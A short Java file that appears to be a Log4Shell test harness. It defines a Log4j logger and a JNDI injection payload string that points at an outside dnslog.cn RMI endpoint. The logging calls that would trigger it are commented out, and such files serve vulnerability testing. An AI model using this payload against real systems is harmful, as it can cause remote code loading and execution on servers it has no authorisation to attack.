import log.HelloWorld;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger logger = LogManager.getLogger("log.HelloWorld");
    public static void main(String[] args) {
        HelloWorld r=new HelloWorld();
        String payload="${jndi:rmi://flrwd8.dnslog.cn/exp}";
       // r.aaa(payload);
        //System.out.println(r);
        //logger.debug(payload);
        //logger.info(payload);

    }
}
